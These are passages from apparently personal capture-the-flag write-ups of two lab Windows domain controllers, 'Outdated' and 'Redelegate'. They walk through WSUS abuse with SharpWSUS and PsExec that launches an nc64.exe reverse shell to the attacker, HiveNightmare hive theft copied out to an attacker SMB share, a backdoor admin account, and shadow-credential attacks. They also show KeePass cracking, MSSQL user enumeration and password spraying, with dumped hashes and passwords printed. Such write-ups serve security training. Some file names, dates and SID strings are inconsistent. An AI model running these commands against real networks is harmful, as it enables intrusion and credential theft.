WUServer REG_SZ http://wsus.outdated.htb:8530
*Evil-WinRM* PS C:\Users\sflowers\Documents> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
UseWUServer REG_DWORD 0x1

.

a non-https wsus server and UseWUServer value is 1, the machine is vulnerable to wsus attack.

The most recent is the SharpWSUS post, which gives a really nice overview of how WSUS servers work to provide updates to networks of different size and complexity.

It also has a link to a Github repo with the tool, which I’ll build in Visual Studio just like Whisker above, and upload to DC:

*Evil-WinRM* PS C:\programdata> upload SharpWSUS.exe sw.exe
Info: Uploading SharpWSUS.exe to sw.exe

                                                             
Data: 65536 bytes of 65536 bytes copied

Info: Upload successful!

Identify WSUS

The registry key HKLM:\software\policies\microsoft\windows\WindowsUpdate will show the WSUS server in use. From client:

PS C:\> Get-ItemProperty HKLM:\software\policies\microsoft\windows\WindowsUpdate

And from the DC:
*Evil-WinRM* PS C:\> get-itemproperty HKLM:\software\policies\microsoft\windows\WindowsUpdate

SharpWSUS.exe will do this as well:
*Evil-WinRM* PS C:\programdata> .\sw.exe locate
..snip..
[*] Action: Locate WSUS Server
WSUS Server: http://wsus.outdated.htb:8530

[*] Locate complete

From client, ping will show that it’s the same host as the DC:

PS C:\> ping wsus.outdated.htb

Resolve-DNSName will also show this (if run from DC it needs -Server to work):
*Evil-WinRM* PS C:\programdata> Resolve-DNSName -Name wsus.outdated.htb -Type A -Server 127.0.0.1

Name                           Type   TTL   Section    NameHost
----                           ----   ---   -------    --------
wsus.outdated.htb              CNAME  3600  Answer     dc.outdated.htb

Name       : dc.outdated.htb
QueryType  : A
TTL        : 3600
Section    : Answer
IP4Address : 10.10.11.175


Name       : dc.outdated.htb
QueryType  : A
TTL        : 3600
Section    : Answer
IP4Address : 172.16.20.1

WSUS Information

SharpWSUS.exe will also give information about the clients using the WSUS:

*Evil-WinRM* PS C:\programdata> .\sw.exe inspect

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Inspect WSUS Server

################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
DC, 8530, c:\WSUS\WsusContent


####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
dc.outdated.htb, 172.16.20.1, 10.0.17763.652, 7/22/2022 5:01:44 AM

####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------

####################### Group Enumeration #######################
GroupName
---------------------------------------------------
All Computers
Downstream Servers
Unassigned Computers

[*] Inspect complete

It only shows the DC, but that’s where I want SYSTEM anyway.

Exploit

PsExec

WSUS will only run signed Microsoft binaries. As I have no good way to get a MS signing certificate, I’ll have to use something legit. The article suggests the Sysintenals tool, PSExec. I’ll download Sysinternals, copy PsExec.exe to my webserver, and upload it:

*Evil-WinRM* PS C:\programdata> upload PsExec64.exe \programdata\ps.exe
Info: Uploading PsExec64.exe to \programdata\ps.exe
                                                             
Data: 685960 bytes of 685960 bytes copied

Info: Upload successful!

Create/Approve Update

I’ll create an update using SharpWSUS.exe. The blog post shows adding an administrator, but I’ll just go for a reverse shell using nc64.exe. The /args for PsExec are -accepteula so that it doesn’t pop a box and wait for a click, -s to run as system, and -d to return immediately. The /title is arbitrary.

*Evil-WinRM* PS C:\programdata> .\sw.exe create /payload:"C:\programdata\ps.exe" /args:" -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445" /title:"CVE-2022-30190"

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Create Update
[*] Creating patch to use the following:
[*] Payload: ps.exe
[*] Payload Path: C:\programdata\ps.exe
[*] Arguments:  -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445
[*] Arguments (HTML Encoded):  -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445

################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
DC, 8530, c:\WSUS\WsusContent

ImportUpdate
Update Revision ID: 44
PrepareXMLtoClient
InjectURL2Download
DeploymentRevision
PrepareBundle
PrepareBundle Revision ID: 45
PrepareXMLBundletoClient
DeploymentRevision

[*] Update created - When ready to deploy use the following command:
[*] SharpWSUS.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:Target.FQDN /groupname:"Group Name"

[*] To check on the update status use the following command:
[*] SharpWSUS.exe check /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:Target.FQDN

[*] To delete the update use the following command:
[*] SharpWSUS.exe delete /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:Target.FQDN /groupname:"Group Name"

[*] Create complete

I need to approve that Update, using the syntax given in the output (/groupname is arbitrary):

*Evil-WinRM* PS C:\programdata> .\sw.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:dc.outdated.htb /groupname:"CriticalPatches"

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Approve Update

Targeting dc.outdated.htb
TargetComputer, ComputerID, TargetID
------------------------------------
dc.outdated.htb, bd6d57d0-5e6f-4e74-a789-35c8955299e1, 1
Group Exists = False
Group Created: CriticalPatches
Added Computer To Group
Approved Update

[*] Approve complete

It takes about a minute for this to fire, and it fails occasionally. If it fails, I’ll try again, but eventually there’s a connection at nc:

┌──(puck㉿kali)[~/htb/outdated]
└─$ nc -nlvp 445
listening on [any] 445
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.175] 49307
Microsoft Windows [Version 10.0.17763.1432]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system

 

Beyond Root – Skipped Steps

PyWhisker Background

With a shell in the Hyper-V Container, I built an EXE version of Whisker. There’s also a Python version of the exploit, pywhisker. It does the same thing, but I’ll execute it from my attack station. The problem is, that to run it I’ll need some creds for the domain. This wasn’t an issue with the EXE version, as it was running in the context of btables, and used what Windows had cached for the user to auth. But to run it from my VM, I’ll need creds.

The Author’s intended path for this box was to exploit HiveNightmare to get creds for btables, and then use those to run pywhisker. That wasn’t necessary, but I’ll still show it here.

HiveNightmare

Background

In July 2021, a researcher noticed that the permissions for the raw registry hive files was misconfigured starting in Windows 10 build 1809, which first released to the public in October 2018. This got the designation CVE-2021-36934, as well as the names HiveNightmare and SeriousSAM.

icacls shows that the SAM file is readable by all users:

C:\>icacls C:\windows\system32\config\SAM
C:\windows\system32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Get Hive Files

Interestingly, I still can’t just copy the files. But a tool like HiveNightmare from researcher GossiTheDog will pull it for me. I’ll grab the compiled EXE from the release page.

I’ll upload it using wget and run it:

PS C:\ProgramData> wget 10.10.14.6/HiveNightmare.exe -outfile hn.exe
PS C:\ProgramData> ./hn

HiveNightmare v0.6 - dump registry hives as non-admin users

Specify maximum number of shadows to inspect with parameter if wanted, default is 15.

Running...

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM

Success: SAM hive from 2022-08-02 written out to current working directory as SAM-2022-08-02

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SECURITY

Success: SECURITY hive from 2022-08-02 written out to current working directory as SECURITY-2022-08-02

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM

Success: SYSTEM hive from 2022-08-02 written out to current working directory as SYSTEM-2022-08-02


Assuming no errors above, you should be able to find hive dump files in current working directory.

It does create copies of the hives in the current directory:

PS C:\ProgramData> ls

    Directory: C:\ProgramData

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         6/15/2022   6:30 PM                Microsoft
d-----         6/15/2022   9:24 AM                Microsoft OneDrive
d-----         6/15/2022   9:40 AM                Packages
d-----          8/1/2022   7:41 PM                regid.1991-06.com.microsoft
d-----         12/7/2019   1:14 AM                SoftwareDistribution
d-----          4/9/2021   6:54 AM                ssh
d-----         6/15/2022   9:53 AM                USOPrivate
d-----         12/7/2019   1:14 AM                USOShared
-a----          8/3/2022   2:10 PM         227328 hn.exe
-a----          8/3/2022   2:08 PM          45272 nc64.exe
-a----          8/3/2022   2:10 PM          65536 SAM-2022-08-02
-a----          8/3/2022   2:10 PM          32768 SECURITY-2022-08-02
-a----          8/3/2022   2:10 PM       11534336 SYSTEM-2022-08-02  

Exfil

To exfil these, I’ll start an SMB server on my box:

┌──(puck㉿kali)[~/htb/outdated]
└─$ impacket-smbserver -smb2support share . -user puck -pass puckpuck

 

I’ll connect to it from Outdated, and then copy the files:

PS C:\ProgramData> net use \\10.10.14.10\share /u:puck 0puckpuck
The command completed successfully.
PS C:\ProgramData> copy *-12-14 \\10.10.14.10\share\
PS C:\ProgramData> copy *-13 \\10.10.14.10\share\

Dump Hashes

With access to these hives, secretsdump.py will return the hashes:

┌──(puck㉿kali)[~/htb/outdated]
└─$ impacket-secretsdump -sam SAM-20231213 -security SECURITY-20231214 -system SYSTEM-20231214 local
Impacket v0.12.0 – Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x0e2bd3cb19e8aa5c74f4b9161423a373
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cadef52f10f56e21d9f4934c4d5bf813:::
[*] Dumping cached domain logon information (domain/username:hash)
OUTDATED.HTB/btables:$DCC2$10240#btables#91e9188a93c8b59479cbe490e22fc790: (2024-12-19 00:19:59)
OUTDATED.HTB/Administrator:$DCC2$10240#Administrator#fcf452603a2e8ee8f65158c73469cf7e: (2023-12-13 04:07:43)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:327760ac67714e381d4bf7147ef7a504ec2ab55adb2a268698410d79db5c8d230080bf948109861babc31959c8a109ab1a257a9b54fd3a2c4954ed484d543f4599734173dce4655686a5f28df1e0d0bd36f6d46358f533cbbe414c9e29fe70445e3e3e4064e5e6e2c940ca33694432efc3335533b84b287838a1990a0bf1a53009d9d0274559ecd431f97ea84eda81ebc0da08b96f999072731bf9dab8f74814823d1514c715a7f526b3b108f52ed425dc0635445e647b20c1666265e3a4d64eafee9babafcea396948b8663b7335223e6ee7460f20ba1cf9b8761c7dd3b0b9dc5135eaead15d274aa9409b2762c81d0
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:aa47130733735055becc2524a4c1ac3f
[*] DefaultPassword
(Unknown User):5myBPLPDKT3Bfq
[*] DPAPI_SYSTEM
dpapi_machinekey:0x76a645f1d5e5879a07eb92ccc767cbe8bf5d8219
dpapi_userkey:0x8225e352fcf823af35757bacff4cdfe98c73db8f
[*] NL$KM
0000 08 4C 51 0B 9B 09 ED C8 4D 12 A0 47 40 5B 64 2D .LQ…..M..G@[d-
0010 32 3C AC B5 E2 42 0E 41 76 99 DE D7 20 E6 15 B9 2<…B.Av… …
0020 79 57 B8 29 D2 5D 44 91 3F D5 84 76 BE 00 D2 00 yW.).]D.?..v….
0030 16 8B 85 3D 3F 17 27 1F 16 4F C0 37 64 6E 44 E5 …=?.’..O.7dnD.
NL$KM:084c510b9b09edc84d12a047405b642d323cacb5e2420e417699ded720e615b97957b829d25d44913fd58476be00d200168b853d3f17271f164fc037646e44e5
[*] Cleaning up…

This also includes a plaintext “DefaultPassword” for an unknown user of “5myBPLPDKT3Bfq”. That suggests it’s probably a domain user, and not a local user.

crackmapexec shows these creds are good for btables:

┌──(puck㉿kali)[~/htb/outdated]
└─$ nxc smb 10.10.11.175 -u btables -p 5myBPLPDKT3Bfq
SMB 10.10.11.175 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:outdated.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.175 445 DC [+] outdated.htb\btables:5myBPLPDKT3Bfq

Remote Shadow Credentials

PyWhisker

With creds, I can try to remotely run PyWhisker. It fails:

┌──(puck㉿kali)[~/htb/outdated]
└─$ python3 /home/puck/tools/pywhisker/pywhisker/pywhisker.py –action list -d outdated.htb -u btables -p 5myBPLPDKT3Bfq –dc-ip 10.10.11.175 -t 10.10.11.175
[!] automatic bind not successful – strongerAuthRequired

This shows that the LDAP bind failed, TLS is required. Adding --use-ldaps fixes it:

┌──(puck㉿kali)[~/htb/outdated]
└─$ python3 /home/puck/tools/pywhisker/pywhisker/pywhisker.py –action list -d outdated.htb -u btables -p 5myBPLPDKT3Bfq –dc-ip 10.10.11.175 -t sflowers –use-ldaps
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Listing devices for sflowers
[*] DeviceID: 6a790b88-4b86-4573-a370-9adc1b30ab23 | Creation Time (UTC):
20241219 01:28:49.149654

sflowers has no shadow credentials. I’ll add one:

┌──(puck㉿kali)[~/htb/certified/pywhisker/pywhisker]
└─$ python3 -m venv venv
┌──(puck㉿kali)[~/htb/certified/pywhisker/pywhisker]
└─$ source venv/bin/activate
┌──(venv)(puck㉿kali)[~/htb/certified/pywhisker/pywhisker]
└─$ python3 pywhisker.py –action add -d outdated.htb -u btables -p 5myBPLPDKT3Bfq –dc-ip 10.10.11.175 -t sflowers –use-ldaps
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d9508605-50e3-579a-86a9-9f799fd224fc
[*] Updating the msDS-KeyCredentialLink attribute of sflowers
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: poppzVLm.pfx
[*] Must be used with password: B26meSdI8s651EIsrHht
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

PKINITtools

The PyWhisker output suggests using PKINITtools to get a TGT. I’ll do that:

┌──(venv)(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ cp ~/htb/certified/pywhisker/pywhisker/poppzVLm.pfx .

.

┌──(venv)(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ deactivate
┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ python3 gettgtpkinit.py -cert-pfx poppzVLm.pfx -pfx-pass B26meSdI8s651EIsrHht outdated.htb/sflowers sflowers.ccache -dc-ip 10.10.11.175
20241218 19:53:19,866 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
–snip–
Error Name: KRB_AP_ERR_SKEW Detail: “The clock skew is too great”
┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ sudo ntpdate -u 10.10.11.175
[sudo] password for puck:
20241219 03:54:36.901037 (+0100) +28800.317826 +/- 0.008435 10.10.11.175 s1 no-leap
CLOCK: time stepped by 28800.317826
┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ python3 gettgtpkinit.py -cert-pfx poppzVLm.pfx -pfx-pass B26meSdI8s651EIsrHht outdated.htb/sflowers sflowers.ccache -dc-ip 10.10.11.175
20241219 03:54:46,718 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
20241219 03:54:46,734 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
20241219 03:54:56,388 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
20241219 03:54:56,389 minikerberos INFO 87568311dc7bb727f2c3af86c79d1e1729b9fef7e8d52eb55bb79b4cc18369b1
INFO:minikerberos:87568311dc7bb727f2c3af86c79d1e1729b9fef7e8d52eb55bb79b4cc18369b1
20241219 03:54:56,401 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
┌──(puck㉿kali)[~/htb/certified/PKINITtools]

.

┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ ls
20241213232833_Certipy.json administrator.pfx gettgtpkinit.py poppzVLm.pfx
20241213232833_Certipy.txt BO6BBQOb.pfx LICENSE README.md
20241213232833_Certipy.zip getnthash.py man_svc.ccache requirements.txt
administrator.ccache gets4uticket.py ntlmrelayx sflowers.ccache
┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ export KRB5CCNAME=sflowers.ccache
┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ klist
Ticket cache: FILE:sflowers.ccache
Default principal: sflowers@OUTDATED.HTB
Valid starting Expires Service principal
12/19/2024 03:54:56 12/19/2024 13:54:56 krbtgt/OUTDATED.HTB@OUTDATED.HTB
┌──(puck㉿kali)[~/htb/certified/PKINITtools]
└─$ python3 getnthash.py outdated.htb/sflowers -key 87568311dc7bb727f2c3af86c79d1e1729b9fef7e8d52eb55bb79b4cc18369b1
Impacket v0.12.0 – Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
1fcdb1f6015dcb318cc77bb2bda14db5

 

For the last step, I’ll need to run the getnthash.py script. I had some issues on my system getting the Python dependencies to run, so I just created a virtual environment (python -m venv venv, and then source venv/bin/activate) and installed the requirements again in there (pip install -r requirements.txt). Then it worked:

With that hash, I can get an Evil-WinRM session

.

Get the hashes

add user

$ nc -nlvp 445
listening on [any] 445
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.175] 49307
Microsoft Windows [Version 10.0.17763.1432]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>net user /add puck Start123!
net user /add puck Start123!
The command completed successfully.
C:\Windows\system32>net localgroup administrators /add puck
net localgroup administrators /add puck
The command completed successfully.

then secretsdump

┌──(puck㉿kali)[~/htb/outdated]
└─$ impacket-secretsdump puck@outdated.htb -dc-ip 10.10.11.175
Impacket v0.12.0 – Copyright Fortra, LLC and its affiliated companies
Password:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xc461277899780d4dcc67e71dd6779759
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8aa878df2fd7dfbe60da36207785c9dc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn’t have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
Administrator:500:aad3b435b51404eeaad3b435b51404ee:716f1ce2e2cf38ee1210cce35eb78cb6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a300e4031093085c7af7ac61a79e6d00:::
outdated.htb\btables:1106:aad3b435b51404eeaad3b435b51404ee:781444163f086fdf8de13de9110ed6e7:::
outdated.htb\sflowers:1108:aad3b435b51404eeaad3b435b51404ee:1fcdb1f6015dcb318cc77bb2bda14db5:::
puck:20603:aad3b435b51404eeaad3b435b51404ee:6dfcb20c87d04f9a4f9605f2413395d4:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:9a4eb8a8bda039e7f444dcfada77ff74:::
CLIENT$:1105:aad3b435b51404eeaad3b435b51404ee:d9dad9a6e84c2ca69db5467936845b33:::
u

That was Fun!

Protected: htb-certified

This content is password protected. To view it please enter your password below:

Posted on

vulnlab-redelegate

 

vulnlab-redelegate

vulnlab redelegate

Redelegate is a hard-rated Windows machine by Geiseric on Vulnlab. The core concepts here are password spraying, enumerating domain users via MSSQL and diving deeper into kerberos delegation.

Enumeration

Portscan:

...
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain?
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-23 11:19:37Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

We are dealing with a domain controller, unusual services are FTP (21) and MSSQL (1433). Let’s check FTP first:

└─$ ftp redelegate.vl 
Connected to dc.redelegate.vl.
220 Microsoft FTP Service
Name (redelegate.vl:puck): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||55855|)
125 Data connection already open; Transfer starting.
10-20-24 12:11AM 434 CyberAudit.txt
10-20-24 04:14AM 2622 Shared.kdbx
10-20-24 12:26AM 580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *

Note that binary mode was used to download the files. The file CyberAudit.txt contains

└─$ cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
[*] Remediation steps:
1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS

 

The file TrainingAgenda.txt shows

└─$ cat TrainingAgenda.txt
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)
Friday 4th October | 14.3016.3053 attendees
“Don’t take the bait” – How to better understand phishing emails and what to do when you see one
Friday 11th October | 15.3017.3061 attendees
“Social Media and their dangers” – What happens to what you post online?
Friday 18th October | 11.3013.307 attendees
“Weak Passwords” – Why “SeasonYear!” is not a good password
Friday 25th October | 9.3012.3029 attendees
“What now?” – Consequences of a cyber attack and how to mitigate them

we could try,  generate a simple word list with something like “SeasonYear!”.

Spring2024!
Summer2024!
F***2024!
Autumn2024!
Winter2024!

Since we don’t have any domain users yet, we can only try them against the KeePass file Shared.kdbx, which was also on the share:

└─$ keepass2john Shared.kdbx | tee hashes
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca

.

└─$ john hashes -w=passwords.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates left, minimum 8 needed for performance.
****2024! (Shared)

We found the password and can now open the KeePass file, for example with keepassxc. One of the credentials inside is for MSSQL which we saw running on the machine, so we try to connect:

we find a working
SQLGuest
zD<redacted>ii
└─$ impacket-mssqlclient ‘sqlguest:’zD<redacted>ii‘@redelegate.vl’
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to ‘master’.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 – Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SQLGuest guest@master)>

.

This works but we just have guest access. One thing we could try is to use xp_dirtree to get the hash of the service account running the service, but in this case it won’t help. Instead we are going to enumerate domain users from here (even though the sqlguest account is not a domain user).

First, we get the domain name:

SQL (SQLGuest guest@master)> SELECT DEFAULT_DOMAIN();
———-
REDELEGATE
SQL (SQLGuest guest@master)>

Next we get the Domain SID by querying one of the default groups for it (the first 48 bytes will be the domain SID):

SQL (SQLGuest guest@master)> SELECT SUSER_SID(‘REDELEGATE\Domain Admins’)
———————————————————–
b‘010500000000000515000000a185deefb22433798d8e847a00020000’

We can convert this to a readable string with PowerShell:

$BinarySID = “010500000000000515000000a185deefb22433798d8e847a00020000”
$SIDBytes = [byte[]]::new($BinarySID.Length / 2)
for ($i = 0; $i -lt $BinarySID.Length; $i += 2) {
$SIDBytes[$i / 2] = [convert]::ToByte($BinarySID.Substring($i, 2), 16)
}
$SID = New-Object System.Security.Principal.SecurityIdentifier($SIDBytes, 0)
$SID.Value
S-1521402433782520333948662055507597512

We can now enumerate users by appending something different on the part that identifies the user (here 512). For example with a quick bash loop:

└─$ cat enum.sh
#!/bin/bash
USERNAME=“sqlguest”
PASSWORD=“zD<redacted>ii”
SERVER=“redelegate.vl”
SID_BASE=“S-1-5-21-4024337825-2033394866-2055507597”
for SID in {1100..1200}; do
QUERY=“SELECT SUSER_SNAME(SID_BINARY(N’$SID_BASE-$SID’))”
echo “$QUERY” > query.sql
impacket-mssqlclient “$USERNAME:$PASSWORD@$SERVER” -file query.sql | grep -a REDELEGATE
rm query.sql
done

 

Running it gives the domain users we want:

└─$ bash enum.sh
REDELEGATE\FS01$
REDELEGATE\Christine.Flanders
REDELEGATE\Marie.Curie
REDELEGATE\Helen.Frost
REDELEGATE\Michael.Pontiac
REDELEGATE\Mallory.Roberts
REDELEGATE\James.Dinkleberg
REDELEGATE\Helpdesk
REDELEGATE\IT
REDELEGATE\Finance
REDELEGATE\DnsAdmins
REDELEGATE\DnsUpdateProxy
REDELEGATE\Ryan.Cooper
REDELEGATE\sql_svc

Getting a Foothold

Now that we have a list of users, we can spray the password scheme that we learned about earlier against those users:

└─$ nxc smb redelegate.vl -u users.txt -p passwords.txt
SMB 10.10.87.216 445 DC [] REDELEGATE\Mallory.Roberts:Summer2024! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.87.216 445 DC [] REDELEGATE\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
SMB 10.10.87.216 445 DC [+] REDELEGATE\Marie.Curie:Fall2024!

 

This leads to our first domain user credentials. At this point we can do a lot more enumeration like for example checking shares authenticated and gathering bloodhound data. First we gather bloodhound data:

$ nxc ldap redelegate.vl -u marie.curie -p ‘****2024!’ –bloodhound -c all –dns-server 10.10.87.216
SMB 10.10.87.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
LDAP 10.10.87.216 389 DC [+] redelegate.vl\marie.curie:Fall2024!
LDAP 10.10.87.216 389 DC Resolved collection methods: container, psremote, session, objectprops, acl, group, localadmin, dcom, rdp, trusts
LDAP 10.10.87.216 389 DC Done in 00M 06S
LDAP 10.10.87.216 389 DC Compressing output into /home/puck/.nxc/logs/DC_10.10.87.216_202411-27_105621_bloodhound.zip
┌──(puck㉿kali)[~/vulnlab/redelegate]
└─$ cp /home/puck/.nxc/logs/DC_10.10.87.216_202411-27_105621_bloodhound.zip .

 

